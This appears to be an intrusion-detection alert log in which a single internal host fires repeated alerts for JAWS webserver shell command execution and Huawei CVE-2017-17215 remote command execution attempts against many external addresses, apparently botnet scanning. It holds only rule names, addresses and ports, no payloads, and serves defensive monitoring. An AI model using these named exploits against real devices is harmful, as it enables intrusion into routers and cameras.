ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.76.152.51

Timestamp:	192.168.2.2313.76.152.5146204802030092 07/11/22-01:03:50.210547
SID:	2030092
Source Port:	46204
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 161.97.86.246

Timestamp:	192.168.2.23161.97.86.24659956802030092 07/11/22-01:02:23.203968
SID:	2030092
Source Port:	59956
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.157.150.157

Timestamp:	192.168.2.2318.157.150.15749386802030092 07/11/22-01:03:01.000816
SID:	2030092
Source Port:	49386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.204.136.72

Timestamp:	192.168.2.2354.204.136.7239336802030092 07/11/22-01:03:12.425420
SID:	2030092
Source Port:	39336
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.128.49.143

Timestamp:	192.168.2.2343.128.49.14344296802030092 07/11/22-01:03:21.033255
SID:	2030092
Source Port:	44296
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 122.212.241.33

Timestamp:	192.168.2.23122.212.241.3335022802030092 07/11/22-01:02:20.669913
SID:	2030092
Source Port:	35022
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.24.237.226

Timestamp:	192.168.2.23184.24.237.22637660802030092 07/11/22-01:03:37.230883
SID:	2030092
Source Port:	37660
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.116.98.216

Timestamp:	192.168.2.23104.116.98.21634650802030092 07/11/22-01:02:54.016006
SID:	2030092
Source Port:	34650
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.37.210.140

Timestamp:	192.168.2.2323.37.210.14055592802030092 07/11/22-01:02:52.170903
SID:	2030092
Source Port:	55592
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.184.191.1

Timestamp:	192.168.2.2318.184.191.147456802030092 07/11/22-01:04:05.753116
SID:	2030092
Source Port:	47456
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.77.58.189

Timestamp:	192.168.2.2352.77.58.18950876802030092 07/11/22-01:03:17.368841
SID:	2030092
Source Port:	50876
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 4.30.115.182

Timestamp:	192.168.2.234.30.115.18242986802030092 07/11/22-01:04:06.238103
SID:	2030092
Source Port:	42986
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.112.21.90

Timestamp:	192.168.2.2361.112.21.9037718802030092 07/11/22-01:03:55.656927
SID:	2030092
Source Port:	37718
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.86.85.55

Timestamp:	192.168.2.23104.86.85.5560430802030092 07/11/22-01:03:56.373772
SID:	2030092
Source Port:	60430
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.140.205.87

Timestamp:	192.168.2.23104.140.205.8736378802030092 07/11/22-01:04:14.358243
SID:	2030092
Source Port:	36378
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.190.184.187

Timestamp:	192.168.2.2345.190.184.18748784802030092 07/11/22-01:02:27.014887
SID:	2030092
Source Port:	48784
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.49.173.75

Timestamp:	192.168.2.2323.49.173.7544340802030092 07/11/22-01:03:42.485903
SID:	2030092
Source Port:	44340
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.39.96.104

Timestamp:	192.168.2.2391.39.96.10456760802030092 07/11/22-01:03:16.084556
SID:	2030092
Source Port:	56760
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.47.210.2

Timestamp:	192.168.2.23195.47.210.246726802030092 07/11/22-01:03:21.078568
SID:	2030092
Source Port:	46726
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.224.150.145

Timestamp:	192.168.2.2313.224.150.14536808802030092 07/11/22-01:03:30.616849
SID:	2030092
Source Port:	36808
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.46.249.122

Timestamp:	192.168.2.2323.46.249.12245382802030092 07/11/22-01:02:23.478224
SID:	2030092
Source Port:	45382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.219.144.251

Timestamp:	192.168.2.2323.219.144.25137552802030092 07/11/22-01:02:38.165936
SID:	2030092
Source Port:	37552
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.138.151.115

Timestamp:	192.168.2.23108.138.151.11559538802030092 07/11/22-01:02:41.250318
SID:	2030092
Source Port:	59538
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 148.255.80.150

Timestamp:	192.168.2.23148.255.80.15053602802030092 07/11/22-01:03:40.692787
SID:	2030092
Source Port:	53602
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.98.189.20

Timestamp:	192.168.2.2382.98.189.2046780802030092 07/11/22-01:03:12.180656
SID:	2030092
Source Port:	46780
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.141.195.125

Timestamp:	192.168.2.23185.141.195.12548552802030092 07/11/22-01:04:04.932027
SID:	2030092
Source Port:	48552
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.37.221.13

Timestamp:	192.168.2.2313.37.221.1356222802030092 07/11/22-01:03:03.981263
SID:	2030092
Source Port:	56222
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.169.193.128

Timestamp:	192.168.2.23149.169.193.12844260802030092 07/11/22-01:04:01.332891
SID:	2030092
Source Port:	44260
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.115.60.125

Timestamp:	192.168.2.23212.115.60.12541028802030092 07/11/22-01:02:28.120368
SID:	2030092
Source Port:	41028
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.37.210.140

Timestamp:	192.168.2.2323.37.210.14055618802030092 07/11/22-01:02:53.338586
SID:	2030092
Source Port:	55618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.80.4.217

Timestamp:	192.168.2.23172.80.4.21754640802030092 07/11/22-01:02:57.963852
SID:	2030092
Source Port:	54640
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.119.105.144

Timestamp:	192.168.2.2345.119.105.14450192802030092 07/11/22-01:02:35.097885
SID:	2030092
Source Port:	50192
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.240.110.64

Timestamp:	192.168.2.2391.240.110.6446448802030092 07/11/22-01:02:55.979929
SID:	2030092
Source Port:	46448
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.127.254.2

Timestamp:	192.168.2.2359.127.254.243998802030092 07/11/22-01:03:18.221423
SID:	2030092
Source Port:	43998
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 27.255.77.208

Timestamp:	192.168.2.2327.255.77.20856622802030092 07/11/22-01:03:09.668677
SID:	2030092
Source Port:	56622
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.50.87.157

Timestamp:	192.168.2.2323.50.87.15758566802030092 07/11/22-01:03:50.043112
SID:	2030092
Source Port:	58566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.160.204.71

Timestamp:	192.168.2.2334.160.204.7141074802030092 07/11/22-01:03:03.939008
SID:	2030092
Source Port:	41074
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.196.218.130

Timestamp:	192.168.2.23121.196.218.13036978802030092 07/11/22-01:03:15.691439
SID:	2030092
Source Port:	36978
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.154.185.174

Timestamp:	192.168.2.2335.154.185.17453630802030092 07/11/22-01:02:38.254602
SID:	2030092
Source Port:	53630
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 122.152.202.61

Timestamp:	192.168.2.23122.152.202.6150196802030092 07/11/22-01:02:56.177273
SID:	2030092
Source Port:	50196
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.21.226.198

Timestamp:	192.168.2.232.21.226.19848330802030092 07/11/22-01:02:47.805021
SID:	2030092
Source Port:	48330
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.106.212

Timestamp:	192.168.2.23156.244.106.21247976372152835222 07/11/22-01:02:26.360909
SID:	2835222
Source Port:	47976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.103.227.87

Timestamp:	192.168.2.23212.103.227.8748246802030092 07/11/22-01:02:12.994581
SID:	2030092
Source Port:	48246
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.159.101.137

Timestamp:	192.168.2.2351.159.101.13745646802030092 07/11/22-01:02:23.371446
SID:	2030092
Source Port:	45646
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.204.55.16

Timestamp:	192.168.2.23154.204.55.1632964802030092 07/11/22-01:03:57.125341
SID:	2030092
Source Port:	32964
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 161.35.13.13

Timestamp:	192.168.2.23161.35.13.1334980802030092 07/11/22-01:03:33.974136
SID:	2030092
Source Port:	34980
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.101.90

Timestamp:	192.168.2.23156.244.101.9035960372152835222 07/11/22-01:02:26.463504
SID:	2835222
Source Port:	35960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 162.214.113.68

Timestamp:	192.168.2.23162.214.113.6835666802030092 07/11/22-01:02:38.830262
SID:	2030092
Source Port:	35666
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 68.171.219.56

Timestamp:	192.168.2.2368.171.219.5644300802030092 07/11/22-01:02:45.947756
SID:	2030092
Source Port:	44300
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.187.195.80

Timestamp:	192.168.2.23107.187.195.8044394802030092 07/11/22-01:02:54.278065
SID:	2030092
Source Port:	44394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 211.39.94.219

Timestamp:	192.168.2.23211.39.94.21933518802030092 07/11/22-01:03:00.941468
SID:	2030092
Source Port:	33518
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.163.151.200

Timestamp:	192.168.2.2369.163.151.20033644802030092 07/11/22-01:03:18.122222
SID:	2030092
Source Port:	33644
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.161.204.238

Timestamp:	192.168.2.2335.161.204.23848660802030092 07/11/22-01:04:08.418810
SID:	2030092
Source Port:	48660
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.26.171.218

Timestamp:	192.168.2.23118.26.171.21840468802030092 07/11/22-01:02:17.385074
SID:	2030092
Source Port:	40468
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.45.103.164

Timestamp:	192.168.2.2323.45.103.16455580802030092 07/11/22-01:02:33.487551
SID:	2030092
Source Port:	55580
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.137.79.149

Timestamp:	192.168.2.2352.137.79.14944014802030092 07/11/22-01:03:37.326503
SID:	2030092
Source Port:	44014
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 164.88.88.218

Timestamp:	192.168.2.23164.88.88.21855698802030092 07/11/22-01:03:27.210214
SID:	2030092
Source Port:	55698
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.156.15.85

Timestamp:	192.168.2.2343.156.15.8559010802030092 07/11/22-01:02:21.727583
SID:	2030092
Source Port:	59010
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.36.255.57

Timestamp:	192.168.2.2323.36.255.5735972802030092 07/11/22-01:03:05.139106
SID:	2030092
Source Port:	35972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.32.238.117

Timestamp:	192.168.2.23178.32.238.11747172802030092 07/11/22-01:02:33.481045
SID:	2030092
Source Port:	47172
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.62.142.48

Timestamp:	192.168.2.2341.62.142.4848704372152835222 07/11/22-01:04:01.757388
SID:	2835222
Source Port:	48704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.78.55.70

Timestamp:	192.168.2.23147.78.55.7050262802030092 07/11/22-01:03:32.974376
SID:	2030092
Source Port:	50262
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.227.17.110

Timestamp:	192.168.2.2343.227.17.11051508802030092 07/11/22-01:02:40.790783
SID:	2030092
Source Port:	51508
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 122.152.202.224

Timestamp:	192.168.2.23122.152.202.22436530802030092 07/11/22-01:04:06.223339
SID:	2030092
Source Port:	36530
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 72.32.133.138

Timestamp:	192.168.2.2372.32.133.13834962802030092 07/11/22-01:02:51.298711
SID:	2030092
Source Port:	34962
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.139.107.167

Timestamp:	192.168.2.2334.139.107.16744270802030092 07/11/22-01:03:20.907431
SID:	2030092
Source Port:	44270
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 203.140.33.251

Timestamp:	192.168.2.23203.140.33.25148392802030092 07/11/22-01:02:16.427572
SID:	2030092
Source Port:	48392
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.179.230.144

Timestamp:	192.168.2.2380.179.230.14434332802030092 07/11/22-01:03:13.483318
SID:	2030092
Source Port:	34332
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.66.1.195

Timestamp:	192.168.2.2318.66.1.19551728802030092 07/11/22-01:03:36.986736
SID:	2030092
Source Port:	51728
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.5.69.219

Timestamp:	192.168.2.2352.5.69.21960912802030092 07/11/22-01:04:05.818906
SID:	2030092
Source Port:	60912
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.153.108.195

Timestamp:	192.168.2.2361.153.108.19546140802030092 07/11/22-01:02:56.401227
SID:	2030092
Source Port:	46140
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.1.166.135

Timestamp:	192.168.2.2323.1.166.13544614802030092 07/11/22-01:02:35.561512
SID:	2030092
Source Port:	44614
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 79.227.7.208

Timestamp:	192.168.2.2379.227.7.20846902802030092 07/11/22-01:03:18.154771
SID:	2030092
Source Port:	46902
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 162.240.78.236

Timestamp:	192.168.2.23162.240.78.23643558802030092 07/11/22-01:03:51.265938
SID:	2030092
Source Port:	43558
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.139.129.217

Timestamp:	192.168.2.23108.139.129.21750468802030092 07/11/22-01:02:31.460825
SID:	2030092
Source Port:	50468
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 181.174.202.178

Timestamp:	192.168.2.23181.174.202.17859708802030092 07/11/22-01:02:44.380797
SID:	2030092
Source Port:	59708
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.72.126

Timestamp:	192.168.2.23156.241.72.12651462372152835222 07/11/22-01:03:19.195987
SID:	2835222
Source Port:	51462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.112.104.139

Timestamp:	192.168.2.23104.112.104.13953478802030092 07/11/22-01:03:20.768713
SID:	2030092
Source Port:	53478
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.101.21.175

Timestamp:	192.168.2.2395.101.21.17545422802030092 07/11/22-01:02:46.844389
SID:	2030092
Source Port:	45422
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.168.34.106

Timestamp:	192.168.2.2354.168.34.10656048802030092 07/11/22-01:02:50.670408
SID:	2030092
Source Port:	56048
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.13.19.231

Timestamp:	192.168.2.2382.13.19.23147776802030092 07/11/22-01:03:55.173105
SID:	2030092
Source Port:	47776
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.115.28.58

Timestamp:	192.168.2.23104.115.28.5840324802030092 07/11/22-01:02:38.752758
SID:	2030092
Source Port:	40324
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.241.6.73

Timestamp:	192.168.2.23185.241.6.7336516802030092 07/11/22-01:03:24.137732
SID:	2030092
Source Port:	36516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.53.36.15

Timestamp:	192.168.2.2323.53.36.1535042802030092 07/11/22-01:02:16.431074
SID:	2030092
Source Port:	35042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.108.199.189

Timestamp:	192.168.2.23213.108.199.18947504802030092 07/11/22-01:02:55.941465
SID:	2030092
Source Port:	47504
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.77.113

Timestamp:	192.168.2.23156.226.77.11334862372152835222 07/11/22-01:02:16.321790
SID:	2835222
Source Port:	34862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.15.220.26

Timestamp:	192.168.2.23216.15.220.2654878802030092 07/11/22-01:02:36.351815
SID:	2030092
Source Port:	54878
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.169.120.44

Timestamp:	192.168.2.23149.169.120.4444138802030092 07/11/22-01:03:45.460652
SID:	2030092
Source Port:	44138
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.16.222.122

Timestamp:	192.168.2.23104.16.222.12236530802030092 07/11/22-01:02:55.933774
SID:	2030092
Source Port:	36530
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 133.142.42.186

Timestamp:	192.168.2.23133.142.42.18657376802030092 07/11/22-01:03:38.341886
SID:	2030092
Source Port:	57376
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 219.122.16.40

Timestamp:	192.168.2.23219.122.16.4051760802030092 07/11/22-01:02:40.296262
SID:	2030092
Source Port:	51760
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.105.103.153

Timestamp:	192.168.2.23104.105.103.15352528802030092 07/11/22-01:03:37.326581
SID:	2030092
Source Port:	52528
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.214.168.159

Timestamp:	192.168.2.23154.214.168.15945544802030092 07/11/22-01:02:20.560720
SID:	2030092
Source Port:	45544
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.69.166

Timestamp:	192.168.2.23156.241.69.16653516372152835222 07/11/22-01:03:13.739090
SID:	2835222
Source Port:	53516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.194.210.40

Timestamp:	192.168.2.2318.194.210.4034408802030092 07/11/22-01:03:46.007713
SID:	2030092
Source Port:	34408
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.217.76.189

Timestamp:	192.168.2.2323.217.76.18946704802030092 07/11/22-01:03:31.357878
SID:	2030092
Source Port:	46704
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.199.109.48

Timestamp:	192.168.2.23198.199.109.4852082802030092 07/11/22-01:02:44.031286
SID:	2030092
Source Port:	52082
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 83.238.103.140

